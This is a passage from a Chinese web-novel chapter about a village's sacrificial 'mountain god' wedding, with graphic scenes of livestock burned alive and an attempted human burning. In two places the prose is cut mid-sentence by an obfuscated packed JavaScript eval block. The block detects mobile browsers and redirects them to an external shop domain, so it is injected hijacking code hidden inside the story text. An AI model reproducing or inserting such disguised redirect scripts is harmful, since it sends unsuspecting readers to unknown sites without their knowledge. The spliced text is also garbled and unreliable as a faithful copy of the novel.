刘老爷先问:“老李啊,你说这小五好端端怎么会说自己被人踹了呢?”然后又说,“你家小李正在上面坐着呢,要是摔到哪碰到哪,受伤了,让山神大人看到了多不好啊。该罚!” “没事,”闻灵很大度地摆摆手,“反正死都死了,还怕这个。” “……” 如果说刚刚的沉默还有点细微的响动残存的话,那现在全场简直就是死寂一般了。 闻灵有些疑惑,这么大一个事实摆在面前,大家究竟在沉默些什么? 见许久都没人说话,就连刘老爷也没有出来讲话。 闻灵干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405222|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站出来主持大局:“没什么大事,也不用责罚什么,大家还是该干什么干什么吧。” “啊那……那行,起轿!”刘老爷满脸堆笑着招招手,“老李,那我们也赶快一起过去吧。大家都在那等着呢。” “嗯,你们走先,我在后面跟着。”闻灵捞起脚边的唐不功来,以免他被这乌泱泱的一片人给踩到了。 众人一路走过许多的房屋,闻灵看了看,觉得这些屋子都不想是常有人住的样子。 虽然装修得很好,收拾得很干净,年头看上去也不是很久,但多看两眼就会让人觉得这地方是没住过什么人的,没有人气。 闻灵走在队伍的末尾,有一搭没一搭地和唐不功闲聊着。而唐不功为了不太引人耳目,只好闭上自己的狗嘴,安静地听闻灵闲扯。 村子很大,一行人走了很久才走到吃饭的地方。 吃饭的地方是村子中心的大广场。此刻广场上已经摆满了数桌酒席,张灯结彩,好不热闹。 许多人忙里忙外地张罗着,炒菜切菜,摆放餐具,传菜。 看上去就像是要举行一场普通的婚礼。 除了结婚的对象是一个不可名状,甚至可能并不存在的山神,以及在场的全是男性外。 唐不功压低了声音问:“怎么全是男人?女人都去哪里了?” “可能这边的习俗不允许女人靠近吧。有的地方是会有这种奇奇怪怪的风俗的。”闻灵凑到唐不功的耳边说。 唐不功还是奇怪:“那我们昨天晚上看到的女孩子去哪了?” “可能躲起来了,她们一看就和这边不是一伙的。” “老李,抱着狗在那说什么呢?”刘老爷走过来,打断了两人的窃窃私语。 “没什么。”闻灵颠了颠怀里的唐不功,换了个更舒服的姿势抱着。 刘老爷伸出手来:“哎呦,你这小狗可真可爱,从前怎么没见过你养狗。” 怀里的唐不功厌恶地把头别开,闻灵也把身体挪得离刘老爷远了一些。 闻灵不咸不淡地说:“土狗罢了。” “土狗好啊,土狗好养活。”刘老爷一见到闻灵,嘴角就没下来过,“我们也要感谢你培养出了这么优秀的一个儿子,来献给山神大人。” 闻灵谦虚道:“哪里哪里。” 他用余光看向一个人坐在主桌的唐不功的身体。 依旧是见者落泪的妆容,被眼前的大红桌布映得红光满面。 难以支撑起来的身体,被人用细细的绳子绑着,捆在饭桌前。脖子也被人用架子撑了起来,好让他的头抬起来。 挂满金饰的唐不功就这样,整个人端端正正地闭着眼,看着眼前满桌的山珍海味。 而在他的周围,吃饭的吃饭,抽烟喝酒的抽烟喝酒,聊天的聊天。没有一个人在乎坐在他们旁边的,物理意义上来说已经是一个死人了。 他们正在装扮死人,参加死人的宴会,与死人同乐。 刘老爷看着眼前热闹的宴席,欢喜地说:“这样的酒席还要摆好多天,我们村人可多了,还有些人正在回来的路上呢。娶山神可是我们村莫大的荣耀,千万不能错过了。” “哦。”闻灵意味深长地应了一声。 20. 婚宴 村里的宴席摆了一天又一天,极尽奢靡。按村民们的话来说,这处处彰显了大家对山神的崇敬。 摆满了足足七日之后,终于迎来了整个村宴最盛大的时刻——山神的婚礼。 今晚月圆时分,昭昭月色洒满大地的时刻,便是唐不功的死期。 “真是一群疯子,围着死人跳舞。”唐不功一脸不解地看着眼前广场上群魔乱舞的人。 虽然他的魂已经不在那了,但那好歹也是他的身体,而且他迟早都是要回去的。他现在看着这群人的样子,简直就想把他们全都告了,告他们一个侮辱尸体罪! 碎石子铺成的广场上,现在东西南北四个方位都燃起了巨大的火堆。 火光冲天,噼啪作响。 广场上的火光太过明亮,以至于大家的脸在这暖黄色的光下,明暗过于分明,笑起来显得有几分狰狞。 牛羊成群结队地被人用板车拖过来,而后又被成双成对地丢进四个火堆里去。 活生生地丢进去,往往前一对牛羊都还没烧干净的时候,后一对牛羊便可以紧接着被丢进去了,惨叫声不带一点喘息的。 还没有被丢进去的牛羊,都流下了眼泪。它们的眼睛明亮而悲伤,是今晚这里唯一的星星。 星星照不亮夜的黑。 牛羊痛苦着,颤抖着,但它们的腿脚已经被人打断,逃也逃不开,就连一鼓作气,把人类全都撞翻在地,踩死的机会也没有。 几个男人围着火堆,拿着铁杆,铁杆的尖头对准牛羊。 闻灵看到有一只牛,四条腿全断了,也还要把自己的断肢全都死死地插在地里,任凭几个人怎么拖拉拽,它都不肯动弹。 火堆离它的脸近极了,但它的泪水还是源源不断的流下,烈火烧不干它漆黑的一双眼。 “把它杀了吧。”一个人说。 “这怎么行?”另一个人说,“把死掉的牛献给山神大人是大不敬的啊。” “杀掉了丢在一边不就是了,不然有本事你把它弄进去啊。”又一个人说。 “行吧行吧,就这么办。” 几个男人说着话,便要磨刀霍霍向牛羊。 但很快的,牛忽然之间便闭上了眼睛。它似乎做上了一场美梦,在这噩梦般的烈火面前,沉静着一张脸,很平静,很安详地走了。 泪水被火烤干,一点痕迹也没留,就好像这里什么也没有发生过一样。 “死了?怎么死了?” “死了还不好啊,免得在山神大人面前杀生了,快点把它拖开,后面还有好多牛羊要献上去呢。” 几个男人用绳索套住牛的脖子,捆住牛的身体。可任凭他们怎么生拉硬拽,牛的身体就是纹丝不动。 “怎么搞的?怎么感觉比之前还重了?”一个人有些烦躁地踹了踹牛的身体。 “死了不就是这样的,硬邦邦的。”这话说得有道理。 不过几个人心里都在想,这才死多久啊,就硬了?而且现在这拉起来也太重了吧。 如果说之前的牛拉不动,是因为牛使了死力气和他们作对的话,那现在已经死去的牛,就好像成了一块有千斤之重的巨石。 这太诡异了。 几人都不约而同的抬起头来,小心翼翼地张望着,似乎是在寻找那不可言喻的神明的注视。 一个人站在火堆边,打了个冷颤,他催促同伴道:“别管这个了,先把别的都丢进火里再说。” 一对又一对的牛羊重新被丢入火中,它们嚎叫着走过那死去的牛,像走过一块丰碑,只是这块丰碑上从未写过什么丰功伟绩,有的只是痛苦。 什么都没有,有的只是痛苦而已。 而且想逃都逃不掉。 无数的牛羊靠近了火堆,火星子飞到了它们身上,它们平尽全力想要逃跑,想要逃跑,可却只是被无数尖锐的铁棍对着,戳着,推着。 它们流着血地倒在火堆里。 火堆一下子被压下来的东西给压灭了一些,但很快便又重新燃烧起来,火势比之前更旺。 人们围着篝火一圈圈地舞动,人们往火堆里添柴加薪。 人们狂舞着,欢歌笑语。 牛羊们被活活烧死,被一次次用尖头刺回火堆里而发出的哀嚎声,怒吼声,夹杂在锣鼓声,琴笛声中。 所有的声音,全都化作了这一场盛会的歌谣。 “我艹……”唐不功还有许多的脏话咽回了肚子里。他现在只想冲过去把这群神经病全抓起来,丢到牢里去,但闻灵死死地按住了他。 闻灵面上看上去云淡风轻,一副事不关己高高挂起的样子,如果不是他按着自己的力道如此之大的话,唐不功大概也不会觉得他的心里有些什么。 暖黄的光照在每个人的身上,每个人都带着这样的一份光彩狂舞着。 可夜是那样黑,火光照不到这些人的心里去。 唐不功费劲地在闻灵怀里扭动着身体:“闻灵,你放开我。” “放开你有什么用?放你过去一人咬一口?你这一张狗嘴够咬的吗?”闻灵很冷静地说,“这里的祭祀必须顺利完成,只有这样我们才能知道这里的山神究竟是个什么鬼玩意。” 火光在闻灵的双眸间燃烧着,他注视着这四面八方的篝火。 火苗在风中舞动,被风撕扯着,在火苗的最顶端,也就是整个火堆最靠近天空的那一块。 闻灵看见,那一个部分,那一点光亮,一呼一吸间,很快地便没入了漆黑不见边界的世界里。 “婚礼开始——” 刘老爷站在广场的中心,他身后便是已经穿戴整齐,衣着华贵的新郎——唐不功。 唐不功的身体被摆放在了系上红绸的轿辇上,轿子前前后后簇拥了不知道多少位身穿赤红衣裳的人。 大家的手里都拿好了东西,蓄势待发,就等着刘老爷一声令下。 刘老爷满面红光地看着眼前的村民们,高声喊道:“今晚是我们村一年一度的盛事!”他的目光扫过眼前众人,“旧面孔都在这,新面孔也有不少。我们今天相聚在这里,就只为了一件事情。” “迎娶山神!起轿——” 人群霎时间沸腾了起来。 敲锣打鼓,鞭炮齐鸣,红色的潮水涌动着,将唐不功的身体送往山中。 众人穿过平地,又沿着河流穿过峡谷,最后顺着河流的方向,一路走到了山上的一处岩洞前。 岩洞高约一百米,宽约两百米,十分的阔大,而且深不见底。 往里面望进去,也就只能看到一片平静如镜的水面,其余的一切便都是黑洞洞的。 几个火把被插在了洞口附近,岩洞里面渐渐被照亮了一些,便能看到岩洞上方的岩壁上大大小小的洞口内,都被塞满了金银珠宝,在火光的照耀下,华光流转。 唐不功被人从轿子上挪了下来,绑在了一条载满了金银珠宝,船头和船尾各摆着一盏红纸灯笼的小船上,小船的船尾还系着细细的丝线。 看着自己的身体被人肆意摆弄来摆弄去,现在更是被人直挺挺地绑在了床上的一根柱子上。 唐不功近乎于忍无可忍:“我真是想把他们都抓起来。” “忍一忍,等会我们跟着一起进去,看看里面到底是什么鬼东西。”闻灵挠了挠唐不功的脑袋。 满载金银珠宝的小船,沉甸甸的,几人合力才将它推入水中。 小船晃晃悠悠地在这一滩暗绿色的水中飘动,等小船载着这一船东西,还有唐不功的身体飘到岩洞的深处时,闻灵看见自己身边的刘老爷点燃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409795|200468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了火星。 唐不功缩在闻灵的怀里,紧张地看着细细的丝线一路燃烧过去。 “闻灵,你说……这个丝线是干什么用的?”唐不功小声地问着。 “砰”的一声巨响,小船四分五裂,叮呤哐啷一阵响,金光四射。岩洞顶上的碎石灰尘,都在这样的冲击下,全部抖落了下来。 炸药把小船炸成了一朵极具视觉效果的金花,绽开的每一分,每一秒都无比清晰地印在唐不功眼底,刻在唐不功心里。 “……”唐不功,“我要报警把他们都抓了。” “不好意思了,现在没有手机。” “闻灵,我……” 尘埃落定后,水面重新归于平静,就连一块碎木板都沉入了水底。水面上干干净净。 闻灵察觉到怀里的狗头无力地耷拉了下来,软软地趴在他的手臂上。 “唐不功?大黄?” 闻灵晃了晃怀里的小狗,但小狗已经软趴趴的身体,只是随着他的动作晃动了几下,并没有其它的反应。 闻灵还想再叫几声,脖子就忽然被人给套住了。 “?” 闻灵回过头,身后是刘老爷,还有几个拿着武器的壮硕男人。 “李老爷,请吧。”刘老爷侧身,亮出身后不远处已经搭好的柴火堆。 闻灵惊讶:“你们这是什么时候搭好的?这是要干什么?” “老李,你现在装糊涂可没有用了啊,我们可是一开始就说好了的。”刘老爷哀叹一声,又看了一眼闻灵怀中的大黄,“你要是这么喜欢这只狗的话,那就带着它一起去吧。” 闻灵看着那火柴中间立起来的那根大柱子,还是不解:“这到底是要干什么?” 听到这话,刘老爷的神色瞬间警惕了起来,身后的壮汉们也立马抓紧了手中的武器。 “老李,你赖账可是不行的啊,我可是出了这个数买你和你儿子的命,”刘老爷张开手掌来,怼到了闻灵面前,“五百金,整整五百金,买你和你儿子过来。你儿子做山神的新郎官,去山神那享荣华富贵,而你则是献给山神的最后一个祭品。” “是吗?那他去享荣华富贵了,我又去给神仙当礼物了,那我家这钱给谁?我家难道还有别人吗?”闻灵更是不解。 刘老爷冷哼一声,摆摆手,示意动手:“钱已经付了,花不花得了,那就是你自己的事情了。” “哦,那行吧。” 闻灵轻轻一跃,几个壮汉连闻灵的衣摆都没有摸到。 闻灵自觉地靠在了火柴中的柱子上。 “不是要烧死我吗?那就快点开始吧。” 众人惊讶地看着李老头身轻如鹤,面面相觑了起来。 刘老爷怒吼一声:“还在那看着等什么?误了时候,可就要触怒山神了。点火!” “对啊对啊,别废话了,我们进度快一点。” 众人惊恐地看着李老头疯言疯语,他们都发现李老头平静的的脸色下,暗藏着兴奋。 闻灵的眼睛一眨一眨的:“怎么不点啊?” 刘老爷也问:“怎么还不快点?” 刘老爷踹了身边的一位壮汉一脚,身边的壮汉才连忙点起火来。 可火星子还没在柴堆上安好家,便忽然飞了起来。 众人连忙下跪,惶恐地看着那漂浮在空中的小火苗。 “山神……一定是山神!” “山神大人饶了我们吧!” “山神大人宽宏大量!” 众人不断地哀求着,哭天喊地,这其中就属刘老爷喊得最大声。 这时山间的树丛中传来响动,众人忙调整方向朝那处跪拜。 只听一个男声从其间传来。 “闻灵?你在这里干什么?”